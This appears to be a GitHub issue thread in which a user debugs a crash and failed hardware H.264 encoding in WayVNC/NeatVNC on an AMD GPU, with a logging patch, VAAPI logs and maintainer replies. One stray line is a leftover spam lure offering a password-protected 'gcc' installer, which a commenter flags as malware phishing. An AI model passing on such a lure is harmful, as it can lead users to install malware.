Closed biergaizi closed 3 weeks ago
Just delete h264_encoder_destroy(encoder); to avoid the double free.
That would cause a memory leak when it succeeds. The problem is that h264_encoder_destroy
should be idempotent (do nothing with NULL), but the NULL check is missing in the function.
This seems to suggest that the present code is only tested with single-board computers like Raspberry Pi, but discrete GPUs are never fully tested.
A different encoder is used for Raspberry Pi. This is tested on my Intel based laptop and I think I also tested it on my workstation at work, which has an AMD processor and a dedicated GPU. The AMD chip does not have an integrated GPU.
It's probably just selecting the wrong render node. If you have multiple render nodes, you need to select the one that's used by the compositor. This is not implemented.
A DRM PRIME is just another name for a Linux DMA-BUF.
Download password: changeme In the installer menu, select "gcc."
Please remove this spam message. It looks like malware phishing.
That would cause a memory leak when it succeeds. The problem is that h264_encoder_destroy should be idempotent (do nothing with NULL)
Right, it was my first thought too, but I didn't consider the "succeeds" case and I saw no point of doing so...
It's probably just selecting the wrong render node. If you have multiple render nodes, you need to select the one that's used by the compositor. This is not implemented. A DRM PRIME is just another name for a Linux DMA-BUF.
Thanks for the tip.
It turned out that I didn't enable libdrm
for FFmpeg, but only VAAPI. After enabling libdrm, both DRM and VAAPI modes are now working as expected. I'll report this as a bug to Gentoo... But since it can be a problem for any self-built FFmpeg, the debug log should probably mention libdrm hwdevice context
instead of just hwdevice context
as a debugging aid:
diff --git a/src/enc/h264/ffmpeg-impl.c b/src/enc/h264/ffmpeg-impl.c
index 6868137..dfb407f 100644
--- a/src/enc/h264/ffmpeg-impl.c
+++ b/src/enc/h264/ffmpeg-impl.c
@@ -533,8 +533,11 @@ static struct h264_encoder* h264_encoder_ffmpeg_create(uint32_t width,
rc = av_hwdevice_ctx_create(&self->hw_device_ctx,
AV_HWDEVICE_TYPE_DRM, render_node, NULL, 0);
- if (rc != 0)
+ if (rc != 0) {
+ nvnc_log(NVNC_LOG_WARNING, "Failed to create libdrm hwdevice context: %s",
+ av_err2str(rc));
goto hwdevice_ctx_failure;
+ }
self->base.next_frame_should_be_keyframe = true;
TAILQ_INIT(&self->fb_queue)
I'm still seeing a black screen in VNC, but it's likely yet another separate GPU problem unrelated to this problem. Update: After a fresh rebuild with all debug logging turned off, it's now working perfectly.
Info: Capturing output HEADLESS-1
Info: >> Headless output 1 1280x720+0x0 Power:UNKNOWN
Info: Listening for connections on 10.3.0.2:5900
Info: New client connection from 10.3.0.1: 0x556d4ad3b690 (ref 1)
Info: Starting screen capture
Info: Choosing zrle encoding for client 0x556d4ad3b690
xkbcommon: ERROR: couldn't find a Compose file for locale "C.UTF8" (mapped to "C.UTF8")
Info: Opened DRM device /dev/dri/renderD128: driver amdgpu version 3.57.0.
Info: w:1 h:1 pixfmt:drm_prime tb:1/1 fr:0/1 sar:0/1
Info: libva: VA-API version 1.22.0
Info: libva: Trying to open /usr/lib64/va/drivers/radeonsi_drv_video.so
Info: libva: Found init function __vaDriverInit_1_22
Info: libva: va_openDriver() returns 0
Info: Initialised VAAPI connection: version 1.22
Info: VAAPI driver: Mesa Gallium driver 24.2.0 for AMD Radeon Pro VII (radeonsi, vega20, LLVM 18.1.8, DRM 3.57, 6.10.6-gentoo-dist).
Info: Driver not found in known nonstandard list, using standard behaviour.
Info: Input surface format is nv12.
Info: Using VAAPI profile VAProfileH264ConstrainedBaseline (13).
Info: Using VAAPI entrypoint VAEntrypointEncSlice (6).
Info: Using VAAPI render target format YUV420 (0x1).
Info: RC mode: CQP.
Info: RC quality: 5.
Info: RC framerate: 65535/1 (65535.00 fps).
Info: Driver does not report any additional prediction constraints.
Info: Using intra and P-frames (supported references: 1 / 0).
Warning: libav: 0: Driver does not support some wanted packed headers (wanted 0xd, found 0x1).
Info: Using level 4.
Info: Choosing open-h264 encoding for client 0x556d4ad3b690
Info: Opened DRM device /dev/dri/renderD128: driver amdgpu version 3.57.0.
Info: w:1 h:1 pixfmt:drm_prime tb:1/1 fr:0/1 sar:0/1
Info: libva: VA-API version 1.22.0
Info: libva: Trying to open /usr/lib64/va/drivers/radeonsi_drv_video.so
Info: libva: Found init function __vaDriverInit_1_22
Info: libva: va_openDriver() returns 0
Info: Initialised VAAPI connection: version 1.22
Info: VAAPI driver: Mesa Gallium driver 24.2.0 for AMD Radeon Pro VII (radeonsi, vega20, LLVM 18.1.8, DRM 3.57, 6.10.6-gentoo-dist).
Info: Driver not found in known nonstandard list, using standard behaviour.
Info: Input surface format is nv12.
Info: Using VAAPI profile VAProfileH264ConstrainedBaseline (13).
Info: Using VAAPI entrypoint VAEntrypointEncSlice (6).
Info: Using VAAPI render target format YUV420 (0x1).
Info: RC mode: CQP.
Info: RC quality: 7.
Info: RC framerate: 65535/1 (65535.00 fps).
Info: Driver does not report any additional prediction constraints.
Info: Using intra and P-frames (supported references: 1 / 0).
Warning: libav: 0: Driver does not support some wanted packed headers (wanted 0xd, found 0x1).
Info: Using level 3.1.
Info: Opened DRM device /dev/dri/renderD128: driver amdgpu version 3.57.0.
Info: w:1 h:1 pixfmt:drm_prime tb:1/1 fr:0/1 sar:0/1
Info: libva: VA-API version 1.22.0
Info: libva: Trying to open /usr/lib64/va/drivers/radeonsi_drv_video.so
Info: libva: Found init function __vaDriverInit_1_22
Info: libva: va_openDriver() returns 0
Info: Initialised VAAPI connection: version 1.22
Info: VAAPI driver: Mesa Gallium driver 24.2.0 for AMD Radeon Pro VII (radeonsi, vega20, LLVM 18.1.8, DRM 3.57, 6.10.6-gentoo-dist).
Info: Driver not found in known nonstandard list, using standard behaviour.
Info: Input surface format is nv12.
Info: Using VAAPI profile VAProfileH264ConstrainedBaseline (13).
Info: Using VAAPI entrypoint VAEntrypointEncSlice (6).
Info: Using VAAPI render target format YUV420 (0x1).
Info: RC mode: CQP.
Info: RC quality: 7.
Info: RC framerate: 65535/1 (65535.00 fps).
Info: Driver does not report any additional prediction constraints.
Info: Using intra and P-frames (supported references: 1 / 0).
Warning: libav: 0: Driver does not support some wanted packed headers (wanted 0xd, found 0x1).
Info: Using level 3.1.
Info: Opened DRM device /dev/dri/renderD128: driver amdgpu version 3.57.0.
Info: w:1 h:1 pixfmt:drm_prime tb:1/1 fr:0/1 sar:0/1
Info: libva: VA-API version 1.22.0
Info: libva: Trying to open /usr/lib64/va/drivers/radeonsi_drv_video.so
Info: libva: Found init function __vaDriverInit_1_22
Info: libva: va_openDriver() returns 0
Info: Initialised VAAPI connection: version 1.22
Info: VAAPI driver: Mesa Gallium driver 24.2.0 for AMD Radeon Pro VII (radeonsi, vega20, LLVM 18.1.8, DRM 3.57, 6.10.6-gentoo-dist).
Info: Driver not found in known nonstandard list, using standard behaviour.
Info: Input surface format is nv12.
Info: Using VAAPI profile VAProfileH264ConstrainedBaseline (13).
Info: Using VAAPI entrypoint VAEntrypointEncSlice (6).
Info: Using VAAPI render target format YUV420 (0x1).
Info: RC mode: CQP.
Info: RC quality: 7.
Info: RC framerate: 65535/1 (65535.00 fps).
Info: Driver does not report any additional prediction constraints.
Info: Using intra and P-frames (supported references: 1 / 0).
Warning: libav: 0: Driver does not support some wanted packed headers (wanted 0xd, found 0x1).
Info: Using level 3.1.
Info: Opened DRM device /dev/dri/renderD128: driver amdgpu version 3.57.0.
Info: w:1 h:1 pixfmt:drm_prime tb:1/1 fr:0/1 sar:0/1
Info: libva: VA-API version 1.22.0
Info: libva: Trying to open /usr/lib64/va/drivers/radeonsi_drv_video.so
Info: libva: Found init function __vaDriverInit_1_22
Info: libva: va_openDriver() returns 0
Info: Initialised VAAPI connection: version 1.22
Info: VAAPI driver: Mesa Gallium driver 24.2.0 for AMD Radeon Pro VII (radeonsi, vega20, LLVM 18.1.8, DRM 3.57, 6.10.6-gentoo-dist).
Info: Driver not found in known nonstandard list, using standard behaviour.
Info: Input surface format is nv12.
Info: Using VAAPI profile VAProfileH264ConstrainedBaseline (13).
Info: Using VAAPI entrypoint VAEntrypointEncSlice (6).
Info: Using VAAPI render target format YUV420 (0x1).
Info: RC mode: CQP.
Info: RC quality: 7.
Info: RC framerate: 65535/1 (65535.00 fps).
Info: Driver does not report any additional prediction constraints.
Info: Using intra and P-frames (supported references: 1 / 0).
Warning: libav: 0: Driver does not support some wanted packed headers (wanted 0xd, found 0x1).
Info: Using level 4.
In case, you're not aware of this, there is an even lower log level named "trace". Feel free to open a PR for improved logging.
I fixed the null-dereference bug. It was introduced 3 week ago in 60f86fd04c500c6dd32e39a7e166d286dae68cb9
As the null-dereference bug has been fixed, I think this can be closed. Feel free to open a PR for improved logging.
Useful information:
Overview
I'm trying to enable hardware H.264 encoding on a PC with a discrete AMD GPU with AMDGPU and Mesa. Unfortunately it keeps failing in mysterious ways, and even the debug log via
--log-level=debug
can't produce any helpful information (and sometimes even misleading to untrained eyes). I decided to review the source code and I've identified at least three problems.Two of them are trivial to fix, but the last one suggests that WayVNC's H.264 encoding is only compatible with DRM PRIME, but not VAAPI, likely making it incompatible with most (if not all) discrete GPUs.The last one is an user error which can be fixed by enabling both VAAPI and libdrm at the same time.Problem 1: Crash in
have_working_h264_encoder()
Symptom
When wayvnc is started via
wayvnc --gpu
, connecting a TigerVNC client with H.264 enabled immediately crashes WayVNC.The ZRLE log message before WayVNC crashed is misleading, don't let it fool you. The gdb trace showed that the actual crash occurred the H.264 codepath before it printed any debug messages to the console.
Analysis
The root cause of the crash is a variant of the double free bug. When H.264 is requested, NeatVNC attempts to initialize a H.264 hardware device via
have_working_h264_encoder()
insrc/server.c
:Internally,
h264_encoder_create()
calls the FFmpeg backend,h264_encoder_ffmpeg_create()
insrc/enc/h264/ffmpeg-impl.c
. Due to a failure inav_hwdevice_ctx_create()
in FFmpeg, the function frees resources and returnNULL
.After control is returned to
have_working_h264_encoder()
, it sees the H.264 device creation has failed, it attempts to callh264_encoder_destroy(encoder)
to free resources and prints a debug log to the console.Unfortunately,
h264_encoder_destroy(encoder)
calls the backendh264_encoder_ffmpeg_destroy()
, which then attempts to free resources that have already been freed (or never successfully allocated to begin with) after the initial error occurred, crashing the problem. Furthermore, because the crash occurred before the H.264 debug log, the failure is never printed to the console.This is likely the root cause of #258 (and perhaps #318 and #319?).
Patch
Just delete
h264_encoder_destroy(encoder);
to avoid the double free.Problem 2: Debug Log on H.264 Encoding is Inadequate or Nonexistent
Symptom
After the initial bug has been patched, continued testing showed H.264 encoding is still unavailable.
Analysis
When failures occur in NeatVNC's H.264 codepath, it returns immediately without logging any debug information about where and how it failed. Without any error code or message, it's impossible for an end user to troubleshoot hardware encoding without tracing the source code in a debugger.
From the source code of
h264_encoder_ffmpeg_create()
, it shows that are at least 6 possible ways in which H.264 initialization can fail.But none of the failures produces any log, not even a
NVNC_LOG_DEBUG
log. Ideally, all failure codepaths should have debug logs. If the error occurs in FFmpeg, one should also callav_err2str(err)
orav_strerror()
to produce human-readable error messages.Patch
Ideally, all failure paths should have logs. For brevity. I'll just point two critical places that provided information necessary for my own troubleshooting.
However, I noticed that FFmpeg already has the macro
av_err2str()
inerror.h
[https://www.ffmpeg.org/doxygen/2.0/error_8h_source.html] to automatically create a static buffer in order to simplify user code, which is used in official examples.Is there any reason that this macro is not used in favor of doing it manually? In my opinion the following code is clearer:
Problem 3: Discrete GPUs are not Supported by
AV_HWDEVICE_TYPE_DRM
Symptom
After the initial two problem have been patched, continued testing showed FFmpeg H.264 initialization failed in
av_hwdevice_ctx_create()
with the error "Cannot allocate memory".This suggests FFmpeg has an internal problem, and it's likely caused by hardware incompatibility.
Analysis
To understand and isolate the problem, I wrote this test program based on FFmpeg's official examples. This can show whether FFmpeg itself has working hardware encoding.
The following program can be compiled via
cc -Wall -Wextra -pedantic -std=c99 -g -O2 vaapi_encode.c -lavdevice -lavformat -lavfilter -lavcodec -lswresample -lswscale -lavutil -o vaapi_encode
The tests showed that the DRM render node can be opened as
AV_HWDEVICE_TYPE_VAAPI
, but it cannot be opened asAV_HWDEVICE_TYPE_DRM
.Thus, an obvious idea is to see what happens if WayVNC opens the GPU render node as a
AV_HWDEVICE_TYPE_VAAPI
.A test showed that the troubleshooting has made immense progress, but it's far from enough.
Now FFmpeg can be initialized and the GPU can also be recogized. but it fails at:
So it's not as simple as a type flag change.
I'm not an expert an VAAPI or drm_prime, so I had a hard time understanding their differeces. But after some Web searches, it seems that hardware encoding on
drm_prime
is a special zero-copy mechanism that depend on shared memory between the CPU and GPU, meanwhile VAAPI is the general-purpose GPU hardware transcoding API.Furthermore, I found this explaination of DRM PRIME from a Mesa code example:
If my deduction is correct (please correct me if I'm wrong), this shows the actual H.264 encoding problem is systematic. The current H.264 implementation reply on DRM PRIME rather than the generic VAAPI, so only supports embedded SoCs but not the general VAAPI. So it's likely incompatible with most (if not all) discrete GPUs? This seems to suggest that the present code is only tested with single-board computers like Raspberry Pi, but discrete GPUs are never fully tested, and a full fix requires extending the current GPU encoding backend with a VAAPI codepath.